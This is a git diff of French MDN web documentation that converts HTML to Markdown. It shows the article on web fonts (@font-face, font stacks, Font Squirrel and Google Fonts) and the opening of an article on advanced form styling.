liste jusqu'à trouver la fonte disponible sur le système sur lequel il tourne :</p> +Comme nous l'avons vu dans [Initiation à la mise en forme du texte](/fr/docs/Learn/CSS/Styling_text/initiation-mise-en-forme-du-texte), les fontes appliquées aux HTML sont contrôlées par la propriété {{cssxref("font-family")}}. Elle accepte un ou plusieurs noms de familles de fontes et le navigateur parcourt la liste jusqu'à trouver la fonte disponible sur le système sur lequel il tourne : -<pre class="brush: css">p { +```css +p { font-family: Helvetica, "Trebuchet MS", Verdana, sans-serif; -}</pre> +} +``` -<p>Ce système fonctionne bien, mais généralement, le choix des développeurs Web en matière de polices sont limités. Il n'y en a qu'une poignée dont la disponibilité soit garantie sur tous les systèmes courants — les polices dites <a href="/fr/docs/Learn/CSS/Styling_text/initiation-mise-en-forme-du-texte#Polices_web_sûres">Web-safe</a>. La pile de polices vous permet de préciser la police préférable, puis la police alternative sûre pour le Web, puis la police par défaut du système, mais cela induit du travail supplémentaire de tests pour s'assurer que le désign reste correct avec chaque police, etc.</p> +Ce système fonctionne bien, mais généralement, le choix des développeurs Web en matière de polices sont limités. Il n'y en a qu'une poignée dont la disponibilité soit garantie sur tous les systèmes courants — les polices dites [Web-safe](/fr/docs/Learn/CSS/Styling_text/initiation-mise-en-forme-du-texte#Polices_web_sûres). La pile de polices vous permet de préciser la police préférable, puis la police alternative sûre pour le Web, puis la police par défaut du système, mais cela induit du travail supplémentaire de tests pour s'assurer que le désign reste correct avec chaque police, etc. -<h2 id="Fontes_Web">Fontes Web</h2> +## Fontes Web -<p>Mais il y a autre chose qui fonctionne très bien, depuis la version 6 d'IE. La fonctionnalité CSS des polices Web permet de définir les fichiers de polices à télécharger avec le site Web au fur et à mesure de sa consultation ; autrement dit, tout navigateur prenant en charge les polices Web aura exactement la police précisée à sa disposition. Incroyable ! La syntaxe requise ressemble à ce qui suit.</p> +Mais il y a autre chose qui fonctionne très bien, depuis la version 6 d'IE. La fonctionnalité CSS des polices Web permet de définir les fichiers de polices à télécharger avec le site Web au fur et à mesure de sa consultation ; autrement dit, tout navigateur prenant en charge les polices Web aura exactement la police précisée à sa disposition. Incroyable ! La syntaxe requise ressemble à ce qui suit. -<p>Primo, un bloc {{cssxref("@font-face")}} est placé au début de la CSS ; il précise le ou les fichiers de fontes à télécharger :</p> +Primo, un bloc {{cssxref("@font-face")}} est placé au début de la CSS ; il précise le ou les fichiers de fontes à télécharger : -<pre class="brush: css">@font-face { +```css +@font-face { font-family: "myFont"; src: url("myFont.ttf"); -}</pre> +} +``` -<p>Sous cette déclaration, vous pouvez utiliser le nom de la famille de polices précisé dans @font-face pour appliquer la police personnalisée où vous le voulez, normalement :</p> +Sous cette déclaration, vous pouvez utiliser le nom de la famille de polices précisé dans @font-face pour appliquer la police personnalisée où vous le voulez, normalement : -<pre class="brush: css">html { +```css +html { font-family: "myFont", "Bitstream Vera Serif", serif; -}</pre> +} +``` + +La syntaxe peut devenir un peu plus complexe que cela, nous reviendrons sur le sujet plus bas. + +Deux points important sont à garder présents à l'esprit à ce propos : -<p>La syntaxe peut devenir un peu plus complexe que cela, nous reviendrons sur le sujet plus bas.</p> +L'utilisation des polices n'est généralement pas gratuite. Vous devez payer pour les utiliser et/ou respecter d'autres conditions de licence telles que citer le créateur de la police dans le code (ou sur le site). Ne vous appropriez pas les polices et ne les utilisez pas sans donner le crédit voulu. -<p>Deux points important sont à garder présents à l'esprit à ce propos :</p> +1. Les navigateurs prennent en charge divers formats de polices ; donc, vous aurez besoin de plusieurs formats de polices pour une prise en charge croisée correcte des navigateurs. Par ex., la plupart des navigateurs modernes prennent en charge les formats WOFF/WOFF2 (Web Open Font Format versions 1 et 2), le plus efficace, mais les vieilles versions d'IE n'acceptent que les polices EOT (Embedded Open Type) et, même, vous pourriez avoir besoin d'inclure une version SVG de la police pour être pris en charge par les anciennes versions de l'iPhone et des navigateurs Android. Nous vous montrerons ci-dessous comment générer le code voulu. +2. Fonts generally aren't free to use. You have to pay for them, and/or follow other license conditions such as crediting the font creator in the code (or on your site.) You shouldn't steal fonts and use them without giving proper credit. -<p>L'utilisation des polices n'est généralement pas gratuite. Vous devez payer pour les utiliser et/ou respecter d'autres conditions de licence telles que citer le créateur de la police dans le code (ou sur le site). Ne vous appropriez pas les polices et ne les utilisez pas sans donner le crédit voulu.</p> +> **Note :** La technique des polices Web est prise en charge dans Internet Explorer depuis sa version 4 ! -<ol> - <li>Les navigateurs prennent en charge divers formats de polices ; donc, vous aurez besoin de plusieurs formats de polices pour une prise en charge croisée correcte des navigateurs. Par ex., la plupart des navigateurs modernes prennent en charge les formats WOFF/WOFF2 (Web Open Font Format versions 1 et 2), le plus efficace, mais les vieilles versions d'IE n'acceptent que les polices EOT (Embedded Open Type) et, même, vous pourriez avoir besoin d'inclure une version SVG de la police pour être pris en charge par les anciennes versions de l'iPhone et des navigateurs Android. Nous vous montrerons ci-dessous comment générer le code voulu.</li> - <li>Fonts generally aren't free to use. You have to pay for them, and/or follow other license conditions such as crediting the font creator in the code (or on your site.) You shouldn't steal fonts and use them without giving proper credit.</li> -</ol> +## Apprentissage actif : un exemple de fonte web -<div class="note"> -<p><strong>Note :</strong> La technique des polices Web est prise en charge dans Internet Explorer depuis sa version 4 !</p> -</div> +En gardant en tête ce qui précède, construisons un exemple de police web de base à partir des premiers principes. Il est difficile de le montrer à l'aide d'un exemple direct intégré : nous aimerions donc que vous suiviez les étapes détaillées dans les paragraphes ci‑après afin d'avoir une idée du processus. -<h2 id="Apprentissage_actif_un_exemple_de_fonte_web">Apprentissage actif : un exemple de fonte web</h2> +Utilisez les fichiers [web-font-start.html](https://github.com/mdn/learning-area/blob/master/css/styling-text/web-fonts/web-font-start.html) et [web-font-start.css](https://github.com/mdn/learning-area/blob/master/css/styling-text/web-fonts/web-font-start.css) comme point de départ pour ajouter votre code (voir l'[exemple en direct](http://mdn.github.io/learning-area/css/styling-text/web-fonts/web-font-start.html) aussi.) Faites une copie de ces fichiers dans un nouveau répertoire sur votre ordinateur. Dans le fichier `web-font-start.css`, vous trouverez un CSS minimal pour traiter la mise en page et la composition de base de l'exemple. -<p>En gardant en tête ce qui précède, construisons un exemple de police web de base à partir des premiers principes. Il est difficile de le montrer à l'aide d'un exemple direct intégré : nous aimerions donc que vous suiviez les étapes détaillées dans les paragraphes ci‑après afin d'avoir une idée du processus.</p> +### Recherche des polices -<p>Utilisez les fichiers <a href="https://github.com/mdn/learning-area/blob/master/css/styling-text/web-fonts/web-font-start.html">web-font-start.html</a> et <a href="https://github.com/mdn/learning-area/blob/master/css/styling-text/web-fonts/web-font-start.css">web-font-start.css</a> comme point de départ pour ajouter votre code (voir l'<a href="http://mdn.github.io/learning-area/css/styling-text/web-fonts/web-font-start.html">exemple en direct</a> aussi.) Faites une copie de ces fichiers dans un nouveau répertoire sur votre ordinateur. Dans le fichier <code>web-font-start.css</code>, vous trouverez un CSS minimal pour traiter la mise en page et la composition de base de l'exemple.</p> -<h3 id="Recherche_des_polices">Recherche des polices</h3> -<p> </p> +Dans cet exemple, nous utilisons deux polices web, une pour les en-têtes et une pour le corps du texte. Pour commencer, nous devons trouver les fichiers de ces polices. Les fontes des polices sont stockées en différents formats de fichiers. Il y a généralement trois types de sites où obtenir des fontes : -<p>Dans cet exemple, nous utilisons deux polices web, une pour les en-têtes et une pour le corps du texte. Pour commencer, nous devons trouver les fichiers de ces polices. Les fontes des polices sont stockées en différents formats de fichiers. Il y a généralement trois types de sites où obtenir des fontes :</p> +- un distributeur de fontes gratuites : c'est un site de téléchargement de polices gratuites (la licence peut exiger certaines conditions, comme citer le créateur de la fonte). C'est le cas de [Font Squirrel](https://www.fontsquirrel.com/), [dafont](http://www.dafont.com/) et [Everything Fonts](https://everythingfonts.com/). +- un distributeur de fontes payantes : c'est un site qui met à disposition des fontes contre paiement, comme [fonts.com](http://www.fonts.com/) ou [myfonts.com](http://www.myfonts.com/). Vous pouvez aussi acheter directement auprès du fondeur, par exemple [Linotype](https://www.linotype.com/), [Monotype](http://www.monotype.com) ou [Exljbris](http://www.exljbris.com/). +- un service de fontes en ligne : c'est un site qui stocke et téléverse les polices à votre intention, facilitant ainsi l'ensemble du processus. Voir la section {{anch("Utiliser un service de polices en ligne")}} pour plus de détails. -<ul> - <li>un distributeur de fontes gratuites : c'est un site de téléchargement de polices gratuites (la licence peut exiger certaines conditions, comme citer le créateur de la fonte). C'est le cas de <a href="https://www.fontsquirrel.com/">Font Squirrel</a>, <a href="http://www.dafont.com/">dafont</a> et <a href="https://everythingfonts.com/">Everything Fonts</a>.</li> - <li>un distributeur de fontes payantes : c'est un site qui met à disposition des fontes contre paiement, comme <a href="http://www.fonts.com/">fonts.com</a> ou <a href="http://www.myfonts.com/">myfonts.com</a>. Vous pouvez aussi acheter directement auprès du fondeur, par exemple <a href="https://www.linotype.com/">Linotype</a>, <a href="http://www.monotype.com">Monotype</a> ou <a href="http://www.exljbris.com/">Exljbris</a>.</li> - <li>un service de fontes en ligne : c'est un site qui stocke et téléverse les polices à votre intention, facilitant ainsi l'ensemble du processus. Voir la section {{anch("Utiliser un service de polices en ligne")}} pour plus de détails.</li> -</ul> +Cherchons des polices de caractères ! Allez dans [Font Squirrel](https://www.fontsquirrel.com/) et choisissez deux polices — une police adaptée aux en-têtes (peut-être une belle police d'affichage de blocs avec sérifs) et une police un peu moins criarde et plus lisible pour les paragraphes. Après avoir trouvé chaque police, appuyez sur le bouton de téléchargement et enregistrez le fichier dans le même répertoire que les fichiers HTML et CSS précéemment enregistrés. Peu importe qu'il s'agisse de TTF (True Type Fonts) ou OTF (Open Type Fonts). -<p>Cherchons des polices de caractères ! Allez dans <a href="https://www.fontsquirrel.com/">Font Squirrel</a> et choisissez deux polices — une police adaptée aux en-têtes (peut-être une belle police d'affichage de blocs avec sérifs) et une police un peu moins criarde et plus lisible pour les paragraphes. Après avoir trouvé chaque police, appuyez sur le bouton de téléchargement et enregistrez le fichier dans le même répertoire que les fichiers HTML et CSS précéemment enregistrés. Peu importe qu'il s'agisse de TTF (True Type Fonts) ou OTF (Open Type Fonts).</p> +Dans chaque cas, décompressez le paquet de la fonte (les fontes Web sont généralement distribuées dans des fichiers ZIP contenant les fichiers de police et l'information de licence). Vous pouvez trouver plusieurs fichiers de polices dans le paquet — certaines fontes sont distribuées sous forme de familles avec plusieurs variantes disponibles, par exemple fine, moyenne, grasse, italique, italique fine, etc. Pour cet exemple, ne vous interessez qu'à un seul fichier pour chacun des deux cas. -<p>Dans chaque cas, décompressez le paquet de la fonte (les fontes Web sont généralement distribuées dans des fichiers ZIP contenant les fichiers de police et l'information de licence). Vous pouvez trouver plusieurs fichiers de polices dans le paquet — certaines fontes sont distribuées sous forme de familles avec plusieurs variantes disponibles, par exemple fine, moyenne, grasse, italique, italique fine, etc. Pour cet exemple, ne vous interessez qu'à un seul fichier pour chacun des deux cas.</p> +> **Note :** Dans la partie « Find fonts » dans la colonne de droite, vous pouvez cliquer sur les diverses marques et classification pour filtrer les chois à afficher. -<div class="note"> -<p><strong>Note :</strong> Dans la partie « Find fonts » dans la colonne de droite, vous pouvez cliquer sur les diverses marques et classification pour filtrer les chois à afficher.</p> -</div> +### Créer le code requis -<h3 id="Créer_le_code_requis">Créer le code requis</h3> +Maintenant, créez le code requis (et les formats de police). Pour chaque police, suivez ces étapes : -<p>Maintenant, créez le code requis (et les formats de police). Pour chaque police, suivez ces étapes :</p> +1. Assurez-vous d'avoir satisfait aux exigences de la licence, si vous l'utilisez dans un projet commercial et/ou Web. +2. Allez sur le [Webfont Generator](https://www.fontsquirrel.com/tools/webfont-generator) de Fontsquirrel. +3. Téléversez les deux fichiers de fontes avec le bouton _Upload Fonts_. +4. Cochez la case nommée « Yes, the fonts I'm uploading are legally eligible for web embedding » (_Oui, les fontes téléversées sont légalement éligibles à une intégration web_). +5. Cliquez sur « *Download your kit* » (_Télécharger le kit_) . -<ol> - <li>Assurez-vous d'avoir satisfait aux exigences de la licence, si vous l'utilisez dans un projet commercial et/ou Web.</li> - <li>Allez sur le <a href="https://www.fontsquirrel.com/tools/webfont-generator">Webfont Generator</a> de Fontsquirrel.</li> - <li>Téléversez les deux fichiers de fontes avec le bouton <em>Upload Fonts</em>.</li> - <li>Cochez la case nommée « Yes, the fonts I'm uploading are legally eligible for web embedding » (<em>Oui, les fontes téléversées sont légalement éligibles à une intégration web</em>).</li> - <li>Cliquez sur « <em>Download your kit</em> » (<em>Télécharger le kit</em>) .</li> -</ol> +Après que le générateur a terminé le traitement, vous obtenez un fichier ZIP à télécharger — enregistrez‑le dans le même répertoire que les fichiers HTML et CSS. -<p>Après que le générateur a terminé le traitement, vous obtenez un fichier ZIP à télécharger — enregistrez‑le dans le même répertoire que les fichiers HTML et CSS.</p> +### Mise en œuvre du code dans la démo -<h3 id="Mise_en_œuvre_du_code_dans_la_démo">Mise en œuvre du code dans la démo</h3> +Maintenant, faites l'extraction de l'ensemble des polices web crées. Dans le répertoire d'extraction, trois éléments utiles : -<p>Maintenant, faites l'extraction de l'ensemble des polices web crées. Dans le répertoire d'extraction, trois éléments utiles :</p> +- Plusieurs versions de chaque police : (par ex., `.ttf`, `.woff`, `.woff2`, etc. ; les polices exactement fournies sont mises à jour au fur et à mesure des modifications des exigences de prise en charge des navigateurs). Comme mentionné ci‑dessus, plusieurs polices sont nécessaires pour une prise en charge croisée entre navigateurs — c'est le moyen choisi par Fontsquirrel pour s'assurer que vous avez bien ce qui est nécessaire. +- Un fichier HTML de démo pour chaque police — chargez‑les dans votre navigateur pour voir ce à quoi elles ressemblent dans divers contextes d'emploi. +- Un fichier `stylesheet.css`, qui contient le code @font-face dont vous avez besoin. -<ul> - <li>Plusieurs versions de chaque police : (par ex., <code>.ttf</code>, <code>.woff</code>, <code>.woff2</code>, etc. ; les polices exactement fournies sont mises à jour au fur et à mesure des modifications des exigences de prise en charge des navigateurs). Comme mentionné ci‑dessus, plusieurs polices sont nécessaires pour une prise en charge croisée entre navigateurs — c'est le moyen choisi par Fontsquirrel pour s'assurer que vous avez bien ce qui est nécessaire.</li> - <li>Un fichier HTML de démo pour chaque police — chargez‑les dans votre navigateur pour voir ce à quoi elles ressemblent dans divers contextes d'emploi.</li> - <li>Un fichier <code>stylesheet.css</code>, qui contient le code @font-face dont vous avez besoin.</li> -</ul> +Pour mettre en œuvre ces polices dans la démo, suivez ces étapes : -<p>Pour mettre en œuvre ces polices dans la démo, suivez ces étapes :</p> +1. Renommez le répertoire d'extraction avec quelque chose de simple, comme `fonts`. +2. Ouvrez le fichier `stylesheet.css` et copiez y les deux blocs `@font-face` contenus dans le fichier `web-font-start.css` — il faut les mettre tout en haut, avant tout élement du CSS, car les polices doivent être importées avant de pouvoir les utiliser sur votre site. +3. Chaque fonction `url()` pointe sur un fichier de police à importer dans la CSS — assurez‑vous que les chemins vers les fichiers soient corrects, donc ajoutez `fonts/` au début de chaque chemin (si nécessaire). +4. Maintenant, vous pouvez vous servir de ces polices dans vos piles de fontes, tout à fait comme les polices système ou une police « web safe ». Par exemple : -<ol> - <li>Renommez le répertoire d'extraction avec quelque chose de simple, comme <code>fonts</code>.</li> - <li>Ouvrez le fichier <code>stylesheet.css</code> et copiez y les deux blocs <code>@font-face</code> contenus dans le fichier <code>web-font-start.css</code> — il faut les mettre tout en haut, avant tout élement du CSS, car les polices doivent être importées avant de pouvoir les utiliser sur votre site.</li> - <li>Chaque fonction <code>url()</code> pointe sur un fichier de police à importer dans la CSS — assurez‑vous que les chemins vers les fichiers soient corrects, donc ajoutez <code>fonts/</code> au début de chaque chemin (si nécessaire).</li> - <li>Maintenant, vous pouvez vous servir de ces polices dans vos piles de fontes, tout à fait comme les polices système ou une police « web safe ». Par exemple : - <pre class="brush: css">font-family: 'zantrokeregular', serif;</pre> - </li> -</ol> + ```css + font-family: 'zantrokeregular', serif; + ``` -<p>Vous devriez obtenir une page de démonstration avec les belles polices implémentées ci‑dessus. Comme les diverses polices sont créées en différentes tailles, il se peut que vous deviez ajuster la taille, l'espacement, etc. pour parfaire l'aspect.</p> +Vous devriez obtenir une page de démonstration avec les belles polices implémentées ci‑dessus. Comme les diverses polices sont créées en différentes tailles, il se peut que vous deviez ajuster la taille, l'espacement, etc. pour parfaire l'aspect. -<p><img alt="" src="web-font-example.png"></p> + -<div class="note"> -<p><strong>Note :</strong> Si vous avez des problèmes pour faire fonctionner votre travail, n'hésitez pas à comparer votre version à nos fichiers finis — voyez <a href="https://github.com/mdn/learning-area/blob/master/css/styling-text/web-fonts/web-font-finished.html">web-font-finished.html</a> et <a href="https://github.com/mdn/learning-area/blob/master/css/styling-text/web-fonts/web-font-finished.css">web-font-finished.css</a> (lancez l'<a href="http://mdn.github.io/learning-area/css/styling-text/web-fonts/web-font-finished.html">exemple terminé directement</a>).</p> -</div> +> **Note :** Si vous avez des problèmes pour faire fonctionner votre travail, n'hésitez pas à comparer votre version à nos fichiers finis — voyez [web-font-finished.html](https://github.com/mdn/learning-area/blob/master/css/styling-text/web-fonts/web-font-finished.html) et [web-font-finished.css](https://github.com/mdn/learning-area/blob/master/css/styling-text/web-fonts/web-font-finished.css) (lancez l'[exemple terminé directement](http://mdn.github.io/learning-area/css/styling-text/web-fonts/web-font-finished.html)). -<h2 id="Utiliser_un_service_de_polices_en_ligne">Utiliser un service de polices en ligne</h2> +## Utiliser un service de polices en ligne -<p>Les services de polices en ligne stockent et servent généralement des polices pour vous afin que vous n'ayez pas à vous soucier d'écrire le code <code>@font-face</code>, et en général, il suffit d'insérer une simple ligne ou deux de code dans votre site pour que tout fonctionne. Les exemples incluent <a href="https://typekit.com/">Typekit</a> and <a href="http://www.typography.com/cloud/welcome/">Cloud.typography</a>. La plupart de ces services sont fondés sur l'abonnement, à l'exception notable de <a href="https://www.google.com/fonts">Google Fonts</a>, un service gratuit utile, en particulier pour les tests rapides et la rédaction de démos.</p> +Les services de polices en ligne stockent et servent généralement des polices pour vous afin que vous n'ayez pas à vous soucier d'écrire le code `@font-face`, et en général, il suffit d'insérer une simple ligne ou deux de code dans votre site pour que tout fonctionne. Les exemples incluent [Typekit](https://typekit.com/) and [Cloud.typography](http://www.typography.com/cloud/welcome/). La plupart de ces services sont fondés sur l'abonnement, à l'exception notable de [Google Fonts](https://www.google.com/fonts), un service gratuit utile, en particulier pour les tests rapides et la rédaction de démos. -<p> </p> -<p>La plupart de ces services sont faciles à utiliser, donc nous n'en parlerons pas dans le détail. Regardons rapidement les polices de Google, pour que vous puissiez vous faire une idée. Encore une fois, utilisez des copies de <code>web-font-start.html</code> et <code>web-font-start.css</code> comme point de départ.</p> -<ol> - <li>Allez sur <a href="https://www.google.com/fonts">Google Fonts</a>.</li> - <li>Utilisez les filtres sur la droite pour afficher les types de polices à choisir et retenez une paire de fontes qui vous plaisent.</li> - <li>Pour sélectionner une famille de fontes, pressez le bouton ⊕ sur le côté.</li> - <li>Après avoir choisi les familles de fontes, pressez la barre avec <em>[Nombre] Families Selected</em> en bas de la page.</li> - <li>Dans l'écran résultant, copiez d'abord la ligne de code HTML affichée et collez‑la dans l'en-tête de votre fichier HTML. Mettez-la au-dessus de l'élément {{htmlelement("link")}} existant, de sorte que la police soit importée avant que le navigateur essaye de l'utiliser dans la CSS.</li> - <li>Copiez ensuite les déclarations CSS listées dans la CSS comme il convient pour appliquer la fonte personnalisée à votre HTML.</li> -</ol> +La plupart de ces services sont faciles à utiliser, donc nous n'en parlerons pas dans le détail. Regardons rapidement les polices de Google, pour que vous puissiez vous faire une idée. Encore une fois, utilisez des copies de `web-font-start.html` et `web-font-start.css` comme point de départ. -<div class="note"> -<p><strong>Note :</strong> Vous pourrez trouver une version complétée sur <a href="https://github.com/mdn/learning-area/blob/master/css/styling-text/web-fonts/google-font.html">google-font.html</a> et <a href="https://github.com/mdn/learning-area/blob/master/css/styling-text/web-fonts/google-font.css">google-font.css</a>, si vous avez besoin de vérifier votre travail par rapport au nôtre (<a href="http://mdn.github.io/learning-area/css/styling-text/web-fonts/google-font.html">voir en direct</a>).</p> -</div> +1. Allez sur [Google Fonts](https://www.google.com/fonts). +2. Utilisez les filtres sur la droite pour afficher les types de polices à choisir et retenez une paire de fontes qui vous plaisent. +3. Pour sélectionner une famille de fontes, pressez le bouton ⊕ sur le côté. +4. Après avoir choisi les familles de fontes, pressez la barre avec _\[Nombre] Families Selected_ en bas de la page. +5. Dans l'écran résultant, copiez d'abord la ligne de code HTML affichée et collez‑la dans l'en-tête de votre fichier HTML. Mettez-la au-dessus de l'élément {{htmlelement("link")}} existant, de sorte que la police soit importée avant que le navigateur essaye de l'utiliser dans la CSS. +6. Copiez ensuite les déclarations CSS listées dans la CSS comme il convient pour appliquer la fonte personnalisée à votre HTML. -<h2 id="font-face_plus_en_détail">@font-face plus en détail</h2> +> **Note :** Vous pourrez trouver une version complétée sur [google-font.html](https://github.com/mdn/learning-area/blob/master/css/styling-text/web-fonts/google-font.html) et [google-font.css](https://github.com/mdn/learning-area/blob/master/css/styling-text/web-fonts/google-font.css), si vous avez besoin de vérifier votre travail par rapport au nôtre ([voir en direct](http://mdn.github.io/learning-area/css/styling-text/web-fonts/google-font.html)). -<p>Examinons la syntaxe générée par fontsquirrel pour <code>@font-face</code>. C'est un bloc de ce type :</p> +## @font-face plus en détail -<pre class="brush: css">@font-face { +Examinons la syntaxe générée par fontsquirrel pour `@font-face`. C'est un bloc de ce type : + +```css +@font-face { font-family: 'ciclefina'; src: url('fonts/cicle_fina-webfont.eot'); src: url('fonts/cicle_fina-webfont.eot?#iefix') format('embedded-opentype'), @@ -168,36 +165,31 @@ translation_of: Learn/CSS/Styling_text/Web_fonts url('fonts/cicle_fina-webfont.svg#ciclefina') format('svg'); font-weight: normal; font-style: normal; -}</pre> +} +``` + +Elle est désignée sous le vocable « bulletproof @font-face syntax » (_syntaxe @font-face à puces garanties_), d'après un post de Paul Irish lors des débuts des succès de `@font-face` ([Bulletproof @font-face Syntax](http://www.paulirish.com/2009/bulletproof-font-face-implementation-syntax/)). Voyons les actions : + +- `font-family` : cette ligne précise la référence à la police. Vous pouvez mettre cette assertion comme bon vous semble, pour autant que ce soit utilisé de manière cohérent dans la CSS. +- `src` : ces lignes indiquent les chemins vers les fichiers de fontes à importer dans la CSS (la partie `url`) et le format de chaque fichier de fonte (la partie `format`). Cette dernière partie est dans chaque cas optionnelle, mais il est utile de la déclarer car elle permet aux navigateurs de trouver la police à utiliser plus rapidement. Plusieurs déclarations peuvent être mises dans la liste, séparées par des virgules — le navigateur cherchera parmi celles-ci et utilisera la première trouvée qu'il comprend — toutefois il est préférable de mettre en tête les formats nouveaux comme WOFF2 et le plus anciens comme TTF en fin de liste. Les fontes EOT font exception — elles seront placées en tête pour corriger une paire de bogues dans les anciennes versions de IE, car IE essayera d'utiliser la première trouvée même s'il est en fait incapable de l'utiliser. +- {{cssxref("font-weight")}}/{{cssxref("font-style")}} : ces lignes définissent la graisse de la police, si elle est italique ou pas. Si vous importez plusieurs graisses d'une même police, vous pouvez indiquer quelles sont ses caractéristiques et utiliser diverses valeurs de {{cssxref("font-weight")}}/{{cssxref("font-style")}} pour faire votre choix au lieu d'appeler de noms différents les membres de la même famille. [@font-face tip: define font-weight and font-style to keep your CSS simple](http://www.456bereastreet.com/archive/201012/font-face_tip_define_font-weight_and_font-style_to_keep_your_css_simple/) (_en anglais — Astuces pour @font-face : définir la graisse et le style des fontes pour avoir des CSS simples_) par Roger Johansson montre que faire plus en détail. -<p>Elle est désignée sous le vocable « bulletproof @font-face syntax » (<em>syntaxe @font-face à puces garanties</em>), d'après un post de Paul Irish lors des débuts des succès de <code>@font-face</code> (<a href="http://www.paulirish.com/2009/bulletproof-font-face-implementation-syntax/">Bulletproof @font-face Syntax</a>). Voyons les actions :</p> +> **Note :** Vous pouvez aussi définir des valeurs particulières de {{cssxref("font-variant")}} et {{cssxref("font-stretch")}} pour vos polices. Dans les navigateurs les plus récents, vous pouvez également indiquer une valeur pour {{cssxref("unicode-range")}} : c'est la plage des codes caractères dont l'utilisation est prévue — dans les navigateurs prenant en charge cette propriété, seuls les caractères indiqués seront téléchargés, ce qui réduit les volumes téléchargés non nécessaires. [Creating Custom Font Stacks with Unicode-Range](https://24ways.org/2011/creating-custom-font-stacks-with-unicode-range/) (_Création de piles de fontes personnalisées en définissant des plages unicode_) de Drew McLellan donne quelques indications utiles pour l'utilisation de cette propriété. -<ul> - <li><code>font-family</code> : cette ligne précise la référence à la police. Vous pouvez mettre cette assertion comme bon vous semble, pour autant que ce soit utilisé de manière cohérent dans la CSS.</li> - <li><code>src</code> : ces lignes indiquent les chemins vers les fichiers de fontes à importer dans la CSS (la partie <code>url</code>) et le format de chaque fichier de fonte (la partie <code>format</code>). Cette dernière partie est dans chaque cas optionnelle, mais il est utile de la déclarer car elle permet aux navigateurs de trouver la police à utiliser plus rapidement. Plusieurs déclarations peuvent être mises dans la liste, séparées par des virgules — le navigateur cherchera parmi celles-ci et utilisera la première trouvée qu'il comprend — toutefois il est préférable de mettre en tête les formats nouveaux comme WOFF2 et le plus anciens comme TTF en fin de liste. Les fontes EOT font exception — elles seront placées en tête pour corriger une paire de bogues dans les anciennes versions de IE, car IE essayera d'utiliser la première trouvée même s'il est en fait incapable de l'utiliser.</li> - <li>{{cssxref("font-weight")}}/{{cssxref("font-style")}} : ces lignes définissent la graisse de la police, si elle est italique ou pas. Si vous importez plusieurs graisses d'une même police, vous pouvez indiquer quelles sont ses caractéristiques et utiliser diverses valeurs de {{cssxref("font-weight")}}/{{cssxref("font-style")}} pour faire votre choix au lieu d'appeler de noms différents les membres de la même famille. <a href="http://www.456bereastreet.com/archive/201012/font-face_tip_define_font-weight_and_font-style_to_keep_your_css_simple/">@font-face tip: define font-weight and font-style to keep your CSS simple</a> (<em>en anglais — Astuces pour @font-face : définir la graisse et le style des fontes pour avoir des CSS simples</em>) par Roger Johansson montre que faire plus en détail.</li> -</ul> +## Résumé -<div class="note"> -<p><strong>Note :</strong> Vous pouvez aussi définir des valeurs particulières de {{cssxref("font-variant")}} et {{cssxref("font-stretch")}} pour vos polices. Dans les navigateurs les plus récents, vous pouvez également indiquer une valeur pour {{cssxref("unicode-range")}} : c'est la plage des codes caractères dont l'utilisation est prévue — dans les navigateurs prenant en charge cette propriété, seuls les caractères indiqués seront téléchargés, ce qui réduit les volumes téléchargés non nécessaires. <a href="https://24ways.org/2011/creating-custom-font-stacks-with-unicode-range/">Creating Custom Font Stacks with Unicode-Range</a> (<em>Création de piles de fontes personnalisées en définissant des plages unicode</em>) de Drew McLellan donne quelques indications utiles pour l'utilisation de cette propriété.</p> -</div> +Maintenant que vous avez travaillé nos articles sur les principes fondamentaux pour composer du texte, il est temps de tester votre compréhension de la chose avec notre évaluation pour le module : composition d'une page d'accueil d'une école communale. -<h2 id="Résumé">Résumé</h2> +{{PreviousMenuNext("Learn/CSS/Styling_text/Styling_links", "Learn/CSS/Styling_text/Typesetting_a_homepage", "Learn/CSS/Styling_text")}} -<p>Maintenant que vous avez travaillé nos articles sur les principes fondamentaux pour composer du texte, il est temps de tester votre compréhension de la chose avec notre évaluation pour le module : composition d'une page d'accueil d'une école communale.</p> -<p>{{PreviousMenuNext("Learn/CSS/Styling_text/Styling_links", "Learn/CSS/Styling_text/Typesetting_a_homepage", "Learn/CSS/Styling_text")}}</p> -<p> </p> +## Dans ce module -<h2 id="Dans_ce_module">Dans ce module</h2> -<p> </p> -<ul> - <li><a href="/fr/docs/Learn/CSS/Styling_text/initiation-mise-en-forme-du-texte">Initiation à la mise en forme du texte</a></li> - <li><a href="/fr/docs/Learn/CSS/Styling_text/Styling_lists">Style de listes</a></li> - <li><a href="/fr/docs/Learn/CSS/Styling_text/Mise_en_forme_des_liens">Mise en forme des liens</a></li> - <li>Polices de caractères web</li> - <li><a href="/fr/docs/Learn/CSS/Styling_text/Typesetting_a_homepage">Composition d'une page d'accueil d'une école de communauté</a></li> -</ul> +- [Initiation à la mise en forme du texte](/fr/docs/Learn/CSS/Styling_text/initiation-mise-en-forme-du-texte) +- [Style de listes](/fr/docs/Learn/CSS/Styling_text/Styling_lists) +- [Mise en forme des liens](/fr/docs/Learn/CSS/Styling_text/Mise_en_forme_des_liens) +- Polices de caractères web +- [Composition d'une page d'accueil d'une école de communauté](/fr/docs/Learn/CSS/Styling_text/Typesetting_a_homepage) diff --git a/files/fr/learn/forms/advanced_form_styling/index.md b/files/fr/learn/forms/advanced_form_styling/index.md index 040507b63e..694ff76b61 100644 --- a/files/fr/learn/forms/advanced_form_styling/index.md +++ b/files/fr/learn/forms/advanced_form_styling/index.md @@ -4,133 +4,117 @@ slug: Learn/Forms/Advanced_form_styling translation_of: Learn/Forms/Advanced_form_styling original_slug: Web/Guide/HTML/Formulaires/Advanced_styling_for_HTML_forms --- -<div>{{LearnSidebar}}{{PreviousMenuNext("Web/Guide/HTML/Formulaires/Apparence_des_formulaires_HTML", "Web/Guide/HTML/Formulaires/Property_compatibility_table_for_form_widgets", "Web/Guide/HTML/Formulaires")}}</div> - -<p>Dans cet article, nous verrons comment utiliser les <a href="/fr/docs/Learn/CSS">CSS</a> avec les formulaires <a href="/fr/docs/Glossary/HTML">HTML</a> pour modifier le style de certains widgets difficiles à personnaliser. Comme nous l'avons vu dans l'<a href="/fr/docs/Learn/Forms/Styling_web_forms">article précédent</a>, les champs texte et les boutons sont parfaitement compatibles avec les CSS. Maintenant, nous allons approfondir la part sombre de la composition stylistique des formulaires HTML.</p> - -<p>Avant d'aller plus loin, faisons un rappel pour deux types de widgets de formulaires :</p> - -<dl> - <dt>la brute</dt> - <dd>Éléments, dont le style n'est que difficilement modifiable, demandant des astuces complexes, nécessitant parfois de faire appel à une connaissance avancée des CSS3.</dd> - <dt>le truand</dt> - <dd>Oubliez l'emploi des 